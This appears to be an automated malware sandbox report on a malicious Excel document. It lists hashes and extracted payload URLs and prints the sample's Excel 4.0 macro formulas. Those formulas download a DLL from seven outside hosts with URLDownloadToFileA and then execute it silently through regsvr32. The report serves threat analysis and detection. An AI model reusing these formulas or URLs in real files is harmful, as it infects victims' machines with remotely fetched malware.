General
-
Target
0d464cb146c0a1153054424b29be3f6c763951eb6b3109cde0faf6b973aecd42
-
Size
73KB
-
Sample
241120-sgspbaylgx
-
MD5
9869f4ce6c602c661dbc68055103aa17
-
SHA1
e19c08ee4db0b92dd3807c062dd32150abcf42e0
-
SHA256
0d464cb146c0a1153054424b29be3f6c763951eb6b3109cde0faf6b973aecd42
-
SHA512
375cd51a4297dbaae77bc05e39ede5d069172f00e0bb3bb694c523031a3d26b5b8737719b430bb23f0b42cba81abeb4171931b60d75538de38eca6011bdfb024
-
SSDEEP
1536:2LgT1WiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlV6BD:x1WiCtzSmICpH7OZuvZGsM0
Malware Config
Extracted
https://www.ankeoman.com/undercons_files/l88ETG/
http://atbiotique.com/images/Luf2JK8NAHSkvg3H83g/
http://atacelikyapi.com/css/SOiiHs8wmjzlWoO/
http://atsyemek.com/test/QaMcxcqLPFHX/
http://atozams.com/app/d24BUaSin4NuT/
http://aureadesign.net/1U3/
http://www.anzizasalema.com/cms/wX6lkpSHjeEPO81/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.ankeoman.com/undercons_files/l88ETG/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atbiotique.com/images/Luf2JK8NAHSkvg3H83g/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atacelikyapi.com/css/SOiiHs8wmjzlWoO/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atsyemek.com/test/QaMcxcqLPFHX/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atozams.com/app/d24BUaSin4NuT/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aureadesign.net/1U3/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.anzizasalema.com/cms/wX6lkpSHjeEPO81/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()
Extracted
https://www.ankeoman.com/undercons_files/l88ETG/
http://atbiotique.com/images/Luf2JK8NAHSkvg3H83g/
Targets
-
-
Target
0d464cb146c0a1153054424b29be3f6c763951eb6b3109cde0faf6b973aecd42
-
Size
73KB
-
MD5
9869f4ce6c602c661dbc68055103aa17
-
SHA1
e19c08ee4db0b92dd3807c062dd32150abcf42e0
-
SHA256
0d464cb146c0a1153054424b29be3f6c763951eb6b3109cde0faf6b973aecd42
-
SHA512
375cd51a4297dbaae77bc05e39ede5d069172f00e0bb3bb694c523031a3d26b5b8737719b430bb23f0b42cba81abeb4171931b60d75538de38eca6011bdfb024
-
SSDEEP
1536:2LgT1WiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlV6BD:x1WiCtzSmICpH7OZuvZGsM0
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-